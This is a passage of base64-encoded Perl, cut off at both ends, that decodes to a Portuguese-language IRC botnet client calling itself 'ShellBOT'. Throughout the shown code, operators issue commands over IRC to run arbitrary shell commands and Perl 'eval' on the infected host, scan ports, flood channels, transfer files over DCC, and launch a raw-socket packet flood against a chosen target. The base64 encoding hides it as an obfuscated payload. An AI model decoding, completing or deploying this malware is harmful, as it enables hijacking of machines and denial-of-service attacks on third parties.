gXCRsaW5lOw0KICAgICAgICAgICB9DQogICAgICAgfQ0KICAgICAgfQ0KICAgfQ0KfQ0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQoNCg0Kc3ViIHBhcnNlIHsNCiAgIG15IFwkc2VydmFyZyA9IHNoaWZ0Ow0KICAgaWYgKFwkc2VydmFyZyA9fiAvXlBJTkcgXDooLiopLykgew0KICAgICBzZW5kcmF3KFwiUE9ORyA6JDFcIik7DQogICB9IGVsc2lmIChcJHNlcnZhcmcgPX4gL15cOiguKz8pXCEoLis/KVxAKC4rPykgUFJJVk1TRyAoLis/KSBcOiguKykvKSB7DQogICAgICAgbXkgXCRwbj0kMTsgbXkgXCRvbmRlID0gJDQ7IG15IFwkYXJncyA9ICQ1Ow0KICAgICAgIGlmIChcJGFyZ3MgPX4gL15cXDAwMVZFUlNJT05cXDAwMSQvKSB7DQogICAgICAgICBub3RpY2UoXCJcJHBuXCIsIFwiXFwwMDFWRVJTSU9OIFNoZWxsQk9ULVwkVkVSU0FPIHBvciAwbGRXMGxmXFwwMDFcIik7DQogICAgICAgfQ0KICAgICAgIGlmIChncmVwIHtcJF8gPX4gL15cUVwkcG5cRSQvaSB9IEBhZG1zKSB7DQogICAgICAgICBpZiAoXCRvbmRlIGVxIFwiXCRtZXVuaWNrXCIpew0KICAgICAgICAgICBzaGVsbChcIlwkcG5cIiwgXCJcJGFyZ3NcIik7DQogICAgICAgICB9DQogICAgICAgICBpZiAoXCRhcmdzID1+IC9eKFxRXCRtZXVuaWNrXEV8XCFhdHJpeClccysoLiopLyApIHsNCiAgICAgICAgICAgIG15IFwkbmF0cml4ID0gJDE7DQogICAgICAgICAgICBteSBcJGFyZyA9ICQyOw0KICAgICAgICAgICAgaWYgKFwkYXJnID1+IC9eXCEoLiopLykgew0KICAgICAgICAgICAgICBpcmNhc2UoXCJcJHBuXCIsXCJcJG9uZGVcIixcIlwkMVwiKSB1bmxlc3MgKFwkbmF0cml4IGVxIFwiIWF0cml4XCIgYW5kIFwkYXJnID1+IC9eXCFuaWNrLyk7DQogICAgICAgICAgICB9IGVsc2lmIChcJGFyZyA9fiAvXlxAKC4qKS8pIHsNCiAgICAgICAgICAgICAgICBcJG9uZGVwID0gXCRvbmRlOw0KICAgICAgICAgICAgICAgIFwkb25kZXAgPSBcJHBuIGlmIFwkb25kZSBlcSBcJG1ldW5pY2s7DQogICAgICAgICAgICAgICAgYmZ1bmMoXCJcJG9uZGVwXCIsXCIkMVwiKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgc2hlbGwoXCJcJG9uZGVcIiwgXCJcJGFyZ1wiKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgIH0NCiAgICAgICB9DQogICB9IGVsc2lmIChcJHNlcnZhcmcgPX4gL15cOiguKz8pXCEoLis/KVxAKC4rPylccytOSUNLXHMrXDooXFMrKS9pKSB7DQogICAgICAgaWYgKGxjKCQxKSBlcSBsYyhcJG1ldW5pY2spKSB7DQogICAgICAgICBcJG1ldW5pY2s9JDQ7DQogICAgICAgICBcJGlyY19zZXJ2ZXJze1wkSVJDX2N1cl9zb2NrZXR9eyduaWNrJ30gPSBcJG1ldW5pY2s7DQogICAgICAgfQ0KICAgfSBlbHNpZiAoXCRzZXJ2YXJnID1+IG0vXlw6KC4rPylccys0MzMvaSkgew0KICAgICAgIG5pY2soXCJcJG1ldW5pY2tcIi5pbnQgcmFuZCg5OTk5KSk7DQogICB9IGVsc2lmIChcJHNlcnZhcmcgPX4gbS9eXDooLis/KVxzKzAwMVxzKyhcUyspXHMvaSkgew0KICAgICAgIFwkbWV1bmljayA9ICQyOw0KICAgICAgIFwkaXJjX3NlcnZlcnN7XCRJUkNfY3VyX3NvY2tldH17J25pY2snfSA9IFwkbWV1bmljazsNCiAgICAgICBcJGlyY19zZXJ2ZXJze1wkSVJDX2N1cl9zb2NrZXR9eydub21lJ30gPSBcIiQxXCI7DQogICAgICAgZm9yZWFjaCBteSBcJGNhbmFsIChAY2FuYWlzKSB7DQogICAgICAgICBzZW5kcmF3KFwiSk9JTiBcJGNhbmFsXCIpOw0KICAgICAgIH0NCiAgIH0NCn0NCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQoNCnN1YiBiZnVuYyB7DQogIG15IFwkcHJpbnRsID0gXCRfWzBdOw0KICBteSBcJGZ1bmNhcmcgPSBcJF9bMV07DQogIGlmIChteSBcJHBpZCA9IGZvcmspIHsNCiAgICAgd2FpdHBpZChcJHBpZCwgMCk7DQogIH0gZWxzZSB7DQogICAgICBpZiAoZm9yaykgew0KICAgICAgICAgZXhpdDsNCiAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICBpZiAoXCRmdW5jYXJnID1+IC9ecG9ydHNjYW4gKC4qKS8pIHsNCiAgICAgICAgICAgICBteSBcJGhvc3RpcD1cIiQxXCI7DQogICAgICAgICAgICAgbXkgQHBvcnRhcz0oXCIyMVwiLFwiMjJcIixcIjIzXCIsXCIyNVwiLFwiNTNcIixcIjgwXCIsXCIxMTBcIixcIjE0M1wiKTsNCiAgICAgICAgICAgICBteSAoQGFiZXJ0YSwgJXBvcnRhX2Jhbm5lcik7DQogICAgICAgICAgICAgZm9yZWFjaCBteSBcJHBvcnRhIChAcG9ydGFzKSB7DQogICAgICAgICAgICAgICAgbXkgXCRzY2Fuc29jayA9IElPOjpTb2NrZXQ6OklORVQtPm5ldyhQZWVyQWRkciA9PiBcJGhvc3RpcCwgUGVlclBvcnQgPT4gXCRwb3J0YSwgUHJvdG8gPT4gJ3RjcCcsIFRpbWVvdXQgPT4gNCk7DQogICAgICAgICAgICAgICAgaWYgKFwkc2NhbnNvY2spIHsNCiAgICAgICAgICAgICAgICAgICBwdXNoIChAYWJlcnRhLCBcJHBvcnRhKTsNCiAgICAgICAgICAgICAgICAgICBcJHNjYW5zb2NrLT5jbG9zZTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgaWYgKEBhYmVydGEpIHsNCiAgICAgICAgICAgICAgIHNlbmRyYXcoXCRJUkNfY3VyX3NvY2tldCwgXCJQUklWTVNHIFwkcHJpbnRsIDpwb3J0YXMgYWJlcnRhczogQGFiZXJ0YVwiKTsNCiAgICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICBzZW5kcmF3KFwkSVJDX2N1cl9zb2NrZXQsXCJQUklWTVNHIFwkcHJpbnRsIDpOZW5odW1hIHBvcnRhIGFiZXJ0YSBmb2kgZW5jb250cmFkYVwiKTsNCiAgICAgICAgICAgICB9DQogICAgICAgICAgIH0NCiAgICAgICAgICAgaWYgKFwkZnVuY2FyZyA9fiAvXnBhY290YVxzKyguKilccysoXGQrKVxzKyhcZCspLykgew0KICAgICAgICAgICAgIG15IChcJGR0aW1lLCAlcGFjb3RlcykgPSBhdHRhY2tlcihcIiQxXCIsIFwiJDJcIiwgXCIkM1wiKTsNCiAgICAgICAgICAgICBcJGR0aW1lID0gMSBpZiBcJGR0aW1lID09IDA7DQogICAgICAgICAgICAgbXkgJWJ5dGVzOw0KICAgICAgICAgICAgIFwkYnl0ZXN7aWdtcH0gPSAkMiAqIFwkcGFjb3Rlc3tpZ21wfTsNCiAgICAgICAgICAgICBcJGJ5dGVze2ljbXB9ID0gJDIgKiBcJHBhY290ZXN7aWNtcH07DQogICAgICAgICAgICAgXCRieXRlc3tvfSA9ICQyICogXCRwYWNvdGVze299Ow0KICAgICAgICAgICAgIFwkYnl0ZXN7dWRwfSA9ICQyICogXCRwYWNvdGVze3VkcH07DQogICAgICAgICAgICAgXCRieXRlc3t0Y3B9ID0gJDIgKiBcJHBhY290ZXN7dGNwfTsNCg0KICAgICAgICAgICAgIHNlbmRyYXcoXCRJUkNfY3VyX3NvY2tldCwgXCJQUklWTVNHIFwkcHJpbnRsIDpcXDAwMiAtIFN0YXR1cyBHRVJBTCAtXFwwMDJcIik7DQogICAgICAgICAgICAgc2VuZHJhdyhcJElSQ19jdXJfc29ja2V0LCBcIlBSSVZNU0cgXCRwcmludGwgOlxcMDAyVGVtcG9cXDAwMjogXCRkdGltZVwiLlwic1wiKTsNCiAgICAgICAgICAgICBzZW5kcmF3KFwkSVJDX2N1cl9zb2NrZXQsIFwiUFJJVk1TRyBcJHByaW50bCA6XFwwMDJUb3RhbCBwYWNvdGVzXFwwMDI6IFwiLihcJHBhY290ZXN7dWRwfSArIFwkcGFjb3Rlc3tpZ21wfSArIFwkcGFjb3Rlc3tpY21wfSArIFwkcGFjb3Rlc3tvfSkpOw0KICAgICAgICAgICAgIHNlbmRyYXcoXCRJUkNfY3VyX3NvY2tldCwgXCJQUklWTVNHIFwkcHJpbnRsIDpcXDAwMlRvdGFsIGJ5dGVzXFwwMDI6IFwiLihcJGJ5dGVze2ljbXB9ICsgXCRieXRlcyB7aWdtcH0gKyBcJGJ5dGVze3VkcH0gKyBcJGJ5dGVze299KSk7DQogICAgICAgICAgICAgc2VuZHJhdyhcJElSQ19jdXJfc29ja2V0LCBcIlBSSVZNU0cgXCRwcmludGwgOlxcMDAyTelkaWEgZGUgZW52aW9cXDAwMjogXCIuaW50KCgoXCRieXRlc3tpY21wfStcJGJ5dGVze2lnbXB9K1wkYnl0ZXN7dWRwfSArIFwkYnl0ZXN7b30pLzEwMjQpL1wkZHRpbWUpLlwiIGticHNcIik7DQoNCiAgICAgICAgICAgfQ0KICAgICAgICAgICBleGl0Ow0KICAgICAgIH0NCiAgfQ0KfQ0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCg0KDQpzdWIgaXJjYXNlIHsNCiAgbXkgKFwka2VtLCBcJHByaW50bCwgXCRjYXNlKSA9IEBfOw0KDQoNCiAgaWYgKFwkY2FzZSA9fiAvXmpvaW4gKC4qKS8pIHsNCiAgICAgaihcIiQxXCIpOw0KICAgfQ0KICAgaWYgKFwkY2FzZSA9fiAvXnBhcnQgKC4qKS8pIHsNCiAgICAgIHAoXCIkMVwiKTsNCiAgIH0NCiAgIGlmIChcJGNhc2UgPX4gL15yZWpvaW5ccysoLiopLykgew0KICAgICAgbXkgXCRjaGFuID0gJDE7DQogICAgICBpZiAoXCRjaGFuID1+IC9eKFxkKykgKC4qKS8pIHsNCiAgICAgICAgZm9yIChteSBcJGNhID0gMTsgXCRjYSA8PSAkMTsgXCRjYSsrICkgew0KICAgICAgICAgIHAoXCIkMlwiKTsNCiAgICAgICAgICBqKFwiJDJcIik7DQogICAgICAgIH0NCiAgICAgIH0gZWxzZSB7DQogICAgICAgICAgcChcIlwkY2hhblwiKTsNCiAgICAgICAgICBqKFwiXCRjaGFuXCIpOw0KICAgICAgfQ0KICAgfQ0KICAgaWYgKFwkY2FzZSA9fiAvXm9wLykgew0KICAgICAgb3AoXCJcJHByaW50bFwiLCBcIlwka2VtXCIpIGlmIFwkY2FzZSBlcSBcIm9wXCI7DQogICAgICBteSBcJG9hcmcgPSBzdWJzdHIoXCRjYXNlLCAzKTsNCiAgICAgIG9wKFwiJDFcIiwgXCIkMlwiKSBpZiAoXCRvYXJnID1+IC8oXFMrKVxzKyhcUyspLyk7DQogICB9DQogICBpZiAoXCRjYXNlID1+IC9eZGVvcC8pIHsNCiAgICAgIGRlb3AoXCJcJHByaW50bFwiLCBcIlwka2VtXCIpIGlmIFwkY2FzZSBlcSBcImRlb3BcIjsNCiAgICAgIG15IFwkb2FyZyA9IHN1YnN0cihcJGNhc2UsIDUpOw0KICAgICAgZGVvcChcIiQxXCIsIFwiJDJcIikgaWYgKFwkb2FyZyA9fiAvKFxTKylccysoXFMrKS8pOw0KICAgfQ0KICAgaWYgKFwkY2FzZSA9fiAvXnZvaWNlLykgew0KICAgICAgdm9pY2UoXCJcJHByaW50bFwiLCBcIlwka2VtXCIpIGlmIFwkY2FzZSBlcSBcInZvaWNlXCI7DQogICAgICBcJG9hcmcgPSBzdWJzdHIoXCRjYXNlLCA2KTsNCiAgICAgIHZvaWNlKFwiJDFcIiwgXCIkMlwiKSBpZiAoXCRvYXJnID1+IC8oXFMrKVxzKyhcUyspLyk7DQogICB9DQogICBpZiAoXCRjYXNlID1+IC9eZGV2b2ljZS8pIHsNCiAgICAgIGRldm9pY2UoXCJcJHByaW50bFwiLCBcIlwka2VtXCIpIGlmIFwkY2FzZSBlcSBcImRldm9pY2VcIjsNCiAgICAgIFwkb2FyZyA9IHN1YnN0cihcJGNhc2UsIDgpOw0KICAgICAgZGV2b2ljZShcIiQxXCIsIFwiJDJcIikgaWYgKFwkb2FyZyA9fiAvKFxTKylccysoXFMrKS8pOw0KICAgfQ0KICAgaWYgKFwkY2FzZSA9fiAvXm1zZ1xzKyhcUyspICguKikvKSB7DQogICAgICBtc2coXCIkMVwiLCBcIiQyXCIpOw0KICAgfQ0KICAgaWYgKFwkY2FzZSA9fiAvXmZsb29kXHMrKFxkKylccysoXFMrKSAoLiopLykgew0KICAgICAgZm9yIChteSBcJGNmID0gMTsgXCRjZiA8PSAkMTsgXCRjZisrKSB7DQogICAgICAgIG1zZyhcIiQyXCIsIFwiJDNcIik7DQogICAgICB9DQogICB9DQogICBpZiAoXCRjYXNlID1+IC9eY3RjcFxzKyhcUyspICguKikvKSB7DQogICAgICBjdGNwKFwiJDFcIiwgXCIkMlwiKTsNCiAgIH0NCiAgIGlmIChcJGNhc2UgPX4gL15jdGNwZmxvb2RccysoXGQrKVxzKyhcUyspICguKikvKSB7DQogICAgICBmb3IgKG15IFwkY2YgPSAxOyBcJGNmIDw9ICQxOyBcJGNmKyspIHsNCiAgICAgICAgY3RjcChcIiQyXCIsIFwiJDNcIik7DQogICAgICB9DQogICB9DQogICBpZiAoXCRjYXNlID1+IC9eaW52aXRlXHMrKFxTKykgKC4qKS8pIHsNCiAgICAgIGludml0ZShcIiQxXCIsIFwiJDJcIik7DQogICB9DQogICBpZiAoXCRjYXNlID1+IC9ebmljayAoLiopLykgew0KICAgICAgbmljayhcIiQxXCIpOw0KICAgfQ0KICAgaWYgKFwkY2FzZSA9fiAvXmNvbmVjdGFccysoXFMrKVxzKyhcUyspLykgew0KICAgICAgIGNvbmVjdGFyKFwiJDJcIiwgXCIkMVwiLCA2NjY3KTsNCiAgIH0NCiAgIGlmIChcJGNhc2UgPX4gL15zZW5kXHMrKFxTKylccysoXFMrKS8pIHsNCiAgICAgIERDQzo6U0VORChcIiQxXCIsIFwiJDJcIik7DQogICB9DQogICBpZiAoXCRjYXNlID1+IC9ecmF3ICguKikvKSB7DQogICAgICBzZW5kcmF3KFwiJDFcIik7DQogICB9DQogICBpZiAoXCRjYXNlID1+IC9eZXZhbCAoLiopLykgew0KICAgICBldmFsIFwiJDFcIjsNCiAgIH0NCn0NCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQoNCnN1YiBzaGVsbCB7DQogIHJldHVybiB1bmxlc3MgXCRzZWN2Ow0KICBteSBcJHByaW50bD1cJF9bMF07DQogIG15IFwkY29tYW5kbz1cJF9bMV07DQogIGlmIChcJGNvbWFuZG8gPX4gL2NkICguKikvKSB7DQogICAgY2hkaXIoXCIkMVwiKSB8fCBtc2coXCJcJHByaW50bFwiLCBcIkRvc3NpZXIgTWFrYXllbmNoIDpEIFwiKTsNCiAgICByZXR1cm47DQogIH0NCiAgZWxzaWYgKFwkcGlkID0gZm9yaykgew0KICAgICB3YWl0cGlkKFwkcGlkLCAwKTsNCiAgfSBlbHNlIHsNCiAgICAgIGlmIChmb3JrKSB7DQogICAgICAgICBleGl0Ow0KICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgIG15IEByZXNwPWBcJGNvbWFuZG8gMj4mMSAzPiYxYDsNCiAgICAgICAgICAgbXkgXCRjPTA7DQogICAgICAgICAgIGZvcmVhY2ggbXkgXCRsaW5oYSAoQHJlc3ApIHsNCiAgICAgICAgICAgICBcJGMrKzsNCiAgICAgICAgICAgICBjaG9wIFwkbGluaGE7DQogICAgICAgICAgICAgc2VuZHJhdyhcJElSQ19jdXJfc29ja2V0LCBcIlBSSVZNU0cgXCRwcmludGwgOlwkbGluaGFcIik7DQogICAgICAgICAgICAgaWYgKFwkYyA9PSBcIlwkbGluYXNfbWF4XCIpIHsNCiAgICAgICAgICAgICAgIFwkYz0wOw0KICAgICAgICAgICAgICAgc2xlZXAgXCRzbGVlcDsNCiAgICAgICAgICAgICB9DQogICAgICAgICAgIH0NCiAgICAgICAgICAgZXhpdDsNCiAgICAgICB9DQogIH0NCn0NCg0KI2V1IGZpeiB1bSBwYWNvdGFkb3J6aW5odSBlIHRhbHouLiBkYWkgY29sb2tlbW8gZWxlIGFraQ0Kc3ViIGF0dGFja2VyIHsNCiAgbXkgXCRpYWRkciA9IGluZXRfYXRvbihcJF9bMF0pOw0KICBteSBcJG1zZyA9ICdCJyB4IFwkX1sxXTsNCiAgbXkgXCRmdGltZSA9IFwkX1syXTsNCiAgbXkgXCRjcCA9IDA7DQogIG15ICglcGFjb3Rlcyk7DQogIFwkcGFjb3Rlc3tpY21wfSA9IFwkcGFjb3Rlc3tpZ21wfSA9IFwkcGFjb3Rlc3t1ZHB9ID0gXCRwYWNvdGVze299ID0gXCRwYWNvdGVze3RjcH0gPSAwOw0KDQogIHNvY2tldChTT0NLMSwgUEZfSU5FVCwgU09DS19SQVcsIDIpIG9yIFwkY3ArKzsNCiAgc29ja2V0KFNPQ0syLCBQRl9JTkVULCBTT0NLX0RHUkFNLCAxNykgb3IgXCRjcCsrOw0KICBzb2NrZXQoU09DSzMsIFBGX0lORVQsIFNPQ0tfUkFXLCAxKSBvciBcJGNwKys7DQogIHNvY2tldChTT0NLNCwgUEZfSU5FVCwgU09DS19SQVcsIDYpIG9yIFwkY3ArKzsNCiAgcmV0dXJuKHVuZGVmKSBpZiBcJGNwID09IDQ7DQogIG15IFwkaXRpbWUgPSB0aW1lOw0KICBteSAoXCRjdXJfdGltZSk7DQogIHdoaWxlICggMSApIHsNCiAgICAgZm9yIChteSBcJHBvcnRhID0gMTsgXCRwb3J0YSA8PSA2NTUzNTsgXCRwb3J0YSsrKSB7DQogICAgICAgXCRjdXJfdGltZSA9IHRpbWUgLSBcJGl0aW1lOw0KICAgICAgIGxhc3QgaWYgXCRjdXJfdGltZSA+PSBcJGZ0aW1lOw0KICAgICAgIHNlbmQoU09DSzEsIFwkbXNnLCAwLCBzb2NrYWRkcl9pbihcJHBvcnRhLCBcJGlhZGRyKSkgYW5kIFwkcGFjb3Rlc3tpZ21wfSsrOw0KICAgICAgIHNlbmQoU09DSzIsIFwkbXNnLCAwLCBzb2NrYWRkcl9pbihcJHBvcnRhLCBcJGlhZGRyKSkgYW5kIFwkcGFjb3Rlc3t1ZHB9Kys7DQogICAgICAgc2VuZChTT0NLMywgXCRtc2csIDAsIHNvY2thZGRyX2luKFwkcG9ydGEsIFwkaWFkZHIpKSBhbmQgXCRwYWNvdGVze2ljbXB9Kys7DQogICAgICAgc2VuZChTT0NLNCwgXCRtc2csIDAsIHNvY2thZGRyX2luKFwkcG9ydGEsIFwkaWFkZHIpKSBhbmQgXCRwYWNvdGVze3RjcH0rKzsNCg0KICAgICAgICMgRG9TID8/IDpQDQogICAgICAgZm9yIChteSBcJHBjID0gMzsgXCRwYyA8PSAyNTU7XCRwYysrKSB7DQogICAgICAgICBuZXh0IGlmIFwkcGMgPT0gNjsNCiAgICAgICAgIFwkY3VyX3RpbWUgPSB0aW1lIC0gXCRpdGltZTsNCiAgICAgICAgIGxhc3QgaWYgXCRjdXJfdGltZSA+PSBcJGZ0aW1lOw0KICAgICAgICAgc29ja2V0KFNPQ0s1LCBQRl9JTkVULCBTT0NLX1JBVywgXCRwYykgb3IgbmV4dDsNCiAgICAgICAgIHNlbmQoU09DSzUsIFwkbXNnLCAwLCBzb2NrYWRkcl9pbihcJHBvcnRhLCBcJGlhZGRyKSkgYW5kIFwkcGFjb3Rlc3tvfSsrOzsNCiAgICAgICB9DQogICAgIH0NCiAgICAgbGFzdCBpZiBcJGN1cl90aW1lID49IFwkZnRpbWU7DQogIH0NCiAgcmV0dXJuKFwkY3VyX3RpbWUsICVwYWNvdGVzKTsNCn0NCg0KIyMjIyMjIyMjIyMjIw0KIyBBTElBU0VTICMNCiMjIyMjIyMjIyMjIyMNCg0Kc3ViIGFjdGlvbiB7DQogICByZXR1cm4gdW5sZXNzICQjXyA9PSAxOw0KICAgc2VuZHJhdyhcIlBSSVZNU0cgXCRfWzBdIDpcXDAwMUFDVElPTiBcJF9bMV1cXDAwMVwiKTsNCn0NCg0Kc3ViIGN0Y3Agew0KICAgcmV0dXJuIHVubGVzcyAkI18gPT0gMTsNCiAgIHNlbmRyYXcoXCJQUklWTVNHIFwkX1swXSA6XFwwMDFcJF9bMV1cXDAwMVwiKTsNCn0NCnN1YiBtc2cgew0KICAgcmV0dXJuIHVubGVzcyAkI18gPT0gMTsNCiAgIHNlbmRyYXcoXCJQUklWTVNHIFwkX1swXSA6XCRfWzFdXCIpOw0KfQ0KDQpzdWIgbm90aWNlIHsNCiAgIHJldHVybiB1bmxlc3MgJCNfID09IDE7DQogICBzZW5kcmF3KFwiTk9USUNFIFwkX1swXSA6XCRfWzFdXCIpOw0KfQ0KDQpzdWIgb3Agew0KICAgcmV0dXJuIHVubGVzcyAkI18gPT0gMTsNCiAgIHNlbmRyYXcoXCJNT0RFIFwkX1swXSArbyBcJF9bMV1cIik7DQp9DQpzdWIgZGVvcCB7DQogICByZXR1cm4gdW5sZXNzICQjXyA9PSAxOw0KICAgc2VuZHJhdyhcIk1PREUgXCRfWzBdIC1vIFwkX1sxXVwiKTsNCn0NCnN1YiBob3Agew0KICAgIHJldHVybiB1bmxlc3MgJCNfID09IDE7DQogICBzZW5kcmF3KFwiTU9ERSBcJF9bMF0gK2ggXCRfWzFdXCIpOw0KfQ0Kc3ViIGRlaG9wIHsNCiAgIHJldHVybiB1bmxlc3MgJCNfID09IDE7DQogICBzZW5kcmF3KFwiTU9ERSBcJF9bMF0gK2ggXCRfWzFdXCIpOw0KfQ0Kc3ViIHZvaWNlIHsNCiAgIHJldHVybiB1bmxlc3MgJCNfID09IDE7DQogICBzZW5kcmF3KFwiTU9ERSBcJF9bMF0gK3YgXCRfWzFdXCIpOw0KfQ0Kc3ViIGRldm9pY2Ugew0KICAgcmV0dXJuIHVubGVzcyAkI18gPT0gMTsNCiAgIHNlbmRyYXcoXCJNT0RFIFwkX1swXSAtdiBcJF9bMV1cIik7DQp9DQpzdWIgYmFuIHsNCiAgIHJldHVybiB1bmxlc3MgJCNfID09IDE7DQogICBzZW5kcmF3KFwiTU9ERSBcJF9bMF0gK2IgXCRfWzFdXCIpOw0KfQ0Kc3ViIHVuYmFuIHsNCiAgIHJldHVybiB1bmxlc3MgJCNfID09IDE7DQogICBzZW5kcmF3KFwiTU9ERSBcJF9bMF0gLWIgXCRfWzFdXCIpOw0KfQ0Kc3ViIGtpY2sgew0KICAgcmV0dXJuIHVubGVzcyAkI18gPT0gMTsNCiAgIHNlbmRyYXcoXCJLSUNLIFwkX1swXSBcJF9bMV0gOlwkX1syXVwiKTsNCn0NCg0Kc3ViIG1vZG8gew0KICAgcmV0dXJuIHVubGVzcyAkI18gPT0gMDsNCiAgIHNlbmRyYXcoXCJNT0RFIFwkX1swXSBcJF9bMV1cIik7DQp9DQpzdWIgbW9kZSB7IG1vZG8oQF8pOyB9DQoNCnN1YiBqIHsgJmpvaW4oQF8pOyB9DQpzdWIgam9pbiB7DQogICByZXR1cm4gdW5sZXNzICQjXyA9PSAwOw0KICAgc2VuZHJhdyhcIkpPSU4gXCRfWzBdXCIpOw0KfQ0Kc3ViIHAgeyBwYXJ0KEBfKTsgfQ0Kc3ViIHBhcnQge3NlbmRyYXcoXCJQQVJUIFwkX1swXVwiKTt9DQoNCnN1YiBuaWNrIHsNCiAgcmV0dXJuIHVubGVzcyAkI18gPT0gMDsNCiAgc2VuZHJhdyhcIk5JQ0sgXCRfWzBdXCIpOw0KfQ0KDQpzdWIgaW52aXRlIHsNCiAgIHJldHVybiB1bmxlc3MgJCNfID09IDE7DQogICBzZW5kcmF3KFwiSU5WSVRFIFwkX1sxXSBcJF9bMF1cIik7DQp9DQpzdWIgdG9waWNvIHsNCiAgIHJldHVybiB1bmxlc3MgJCNfID09IDE7DQogICBzZW5kcmF3KFwiVE9QSUMgXCRfWzBdIFwkX1sxXVwiKTsNCn0NCnN1YiB0b3BpYyB7IHRvcGljbyhAXyk7IH0NCg0Kc3ViIHdob2lzIHsNCiAgcmV0dXJuIHVubGVzcyAkI18gPT0gMDsNCiAgc2VuZHJhdyhcIldIT0lTIFwkX1swXVwiKTsNCn0NCnN1YiB3aG8gew0KICByZXR1cm4gdW5sZXNzICQjXyA9PSAwOw0KICBzZW5kcmF3KFwiV0hPIFwkX1swXVwiKTsNCn0NCnN1YiBuYW1lcyB7DQogIHJldHVybiB1bmxlc3MgJCNfID09IDA7DQogIHNlbmRyYXcoXCJOQU1FUyBcJF9bMF1cIik7DQp9DQpzdWIgYXdheSB7DQogIHNlbmRyYXcoXCJBV0FZIFwkX1swXVwiKTsNCn0NCnN1YiBiYWNrIHsgYXdheSgpOyB9DQpzdWIgcXVpdCB7DQogIHNlbmRyYXcoXCJRVUlUIDpcJF9bMF1cIik7DQp9DQoNCiMgRENDDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQoNCnBhY2thZ2UgRENDOw0KDQpzdWIgY29ubmVjdGlvbnMgew0KICAgbXkgQHJlYWR5ID0gXCRkY2Nfc2VsLT5jYW5fcmVhZCgxKTsNCiMgcmV0dXJuIHVubGVzcyAoQHJlYWR5KTsNCiAgIGZvcmVhY2ggbXkgXCRmaCAoQHJlYWR5KSB7DQogICAgIG15IFwkZGNjdGlwbyA9IFwkRENDe1wkZmh9e3RpcG99Ow0KICAgICBteSBcJGFycXVpdm8gPSBcJERDQ3tcJGZofXthcnF1aXZvfTsNCiAgICAgbXkgXCRieXRlcyA9IFwkRENDe1wkZmh9e2J5dGVzfTsNCiAgICAgbXkgXCRjdXJfYnl0ZSA9IFwkRENDe1wkZmh9e2N1cmJ5dGV9Ow0KICAgICBteSBcJG5pY2sgPSBcJERDQ3tcJGZofXtuaWNrfTsNCg0KDQogICAgIG15IFwkbXNnOw0KICAgICBteSBcJG5yZWFkID0gc3lzcmVhZChcJGZoLCBcJG1zZywgMTAyNDApOw0KDQogICAgIGlmIChcJG5yZWFkID09IDAgYW5kIFwkZGNjdGlwbyA9fiAvXihnZXR8c2VuZGNvbikkLykgew0KICAgICAgICBcJERDQ3tcJGZofXtzdGF0dXN9ID0gXCJDYW5jZWxhZG9cIjsNCiAgICAgICAgXCREQ0N7XCRmaH17ZnRpbWV9ID0gdGltZTsNCiAgICAgICAgXCRkY2Nfc2VsLT5yZW1vdmUoXCRmaCk7DQogICAgICAgIFwkZmgtPmNsb3NlOw0KICAgICAgICBuZXh0Ow0KICAgICB9DQoNCiAgICAgaWYgKFwkZGNjdGlwbyBlcSBcImdldFwiKSB7DQogICAgICAgIFwkRENDe1wkZmh9e2N1cmJ5dGV9ICs9IGxlbmd0aChcJG1zZyk7DQoNCiAgICAgICAgbXkgXCRjdXJfYnl0ZSA9IFwkRENDe1wkZmh9e2N1cmJ5dGV9Ow0KDQogICAgICAgIG9wZW4oRklMRSwgXCI+PiBcJGFycXVpdm9cIik7DQogICAgICAgIHByaW50IEZJTEUgXCJcJG1zZ1wiIGlmIChcJGN1cl9ieXRlIDw9IFwkYnl0ZXMpOw0KICAgICAgICBjbG9zZShGSUxFKTsNCg0KICAgICAgICBteSBcJHBhY2tieXRlID0gcGFjayhcIk5cIiwgXCRjdXJfYnl0ZSk7DQogICAgICAgIHByaW50IFwkZmggXCJcJHBhY2tieXRlXCI7DQoNCg0KICAgICAgICBpZiAoXCRieXRlcyA9PSBcJGN1cl9ieXRlKSB7DQogICAgICAgICAgIFwkZGNjX3NlbC0+cmVtb3ZlKFwkZmgpOw0KICAgICAgICAgICBcJGZoLT5jbG9zZTsNCiAgICAgICAgICAgXCREQ0N7XCRmaH17c3RhdHVzfSA9IFwiUmVjZWJpZG9cIjsNCiAgICAgICAgICAgXCREQ0N7XCRmaH17ZnRpbWV9ID0gdGltZTsNCiAgICAgICAgICAgbmV4dDsNCiAgICAgICAgfQ0KICAgICB9IGVsc2lmIChcJGRjY3RpcG8gZXEgXCJzZW5kXCIpIHsNCiAgICAgICAgICBteSBcJHNlbmQgPSBcJGZoLT5hY2NlcHQ7DQogICAgICAgICAgXCRzZW5kLT5hdXRvZmx1c2goMSk7DQogICAgICAgICAgXCRkY2Nfc2VsLT5hZGQoXCRzZW5kKTsNCiAgICAgICAgICBcJGRjY19zZWwtPnJlbW92ZShcJGZoKTsNCiAgICAgICAgICBcJERDQ3tcJHNlbmR9e3RpcG99ID0gJ3NlbmRjb24nOw0KICAgICAgICAgIFwkRENDe1wkc2VuZH17aXRpbWV9ID0gdGltZTsNCiAgICAgICAgICBcJERDQ3tcJHNlbmR9e25pY2t9ID0gXCRuaWNrOw0KICAgICAgICAgIFwkRENDe1wkc2VuZH17Ynl0ZXN9ID0gXCRieXRlczsNCiAgICAgICAgICBcJERDQ3tcJHNlbmR9e2N1cmJ5dGV9ID0gMDsNCiAgICAgICAgICBcJERDQ3tcJHNlbmR9e2FycXVpdm99ID0gXCRhcnF1aXZvOw0KICAgICAgICAgIFwkRENDe1wkc2VuZH17aXB9ID0gXCRzZW5kLT5wZWVyaG9zdDsNCiAgICAgICAgICBcJERDQ3tcJHNlbmR9e3BvcnRhfSA9IFwkc2VuZC0+cGVlcnBvcnQ7DQogICAgICAgICAgXCREQ0N7XCRzZW5kfXtzdGF0dXN9ID0gXCJFbn